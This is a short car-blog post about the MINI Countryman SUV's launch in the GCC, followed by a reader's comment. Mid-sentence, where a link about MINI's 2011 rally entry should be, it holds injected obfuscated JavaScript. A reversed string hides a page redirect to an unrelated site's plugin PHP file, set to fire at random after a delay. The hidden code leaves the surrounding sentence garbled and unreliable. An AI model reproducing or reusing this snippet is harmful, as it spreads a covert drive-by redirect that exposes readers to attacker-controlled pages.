They like things large here in the Middle East, which is why we’re pretty intrigued to see how the latest, largest addition to the MINI family fares here and the region. The Countryman SUV has touched down in the GCC and MINI celebrated by driving a fleet of them around Dubai.
Looks like they had fun and we’re looking forward to seeing if the style and great handling found in the “regular” MINIs can be translated into a 4×4. On-road performance will be important for this Qashqai-sized people-lugger, but we hope it can also handle some rougher stuff thanks to its higher ground clearance. Our hopes are high, as MINI is $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20101186/mini-back-to-rallying-prodrive-wrc/” target=”_self”>entering the Countryman in the 2011 World Rally Championship.
Power will come from a 1.6-litre petrol engine offering either 122bhp in Cooper spec, or 184bhp thanks to the addition of a turbocharger in the Cooper S.
Off-road MINIs? The future is here.
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GarfieldGoose
ok Mini you got me. i didn’t think you could do a 4-door and it still looks good.
saw a bunch of pics from new york city where they drove a mini countryman around with another mini bolted to the roof rack. here’s link – http://www.skiddmark.com/2011/01/12/mini-countryman-re-enacts-suv-stunt/
i do wonder why they do not do a diesel. vw has them beat there. this is an area mini needs to be in to compete i think.
cheers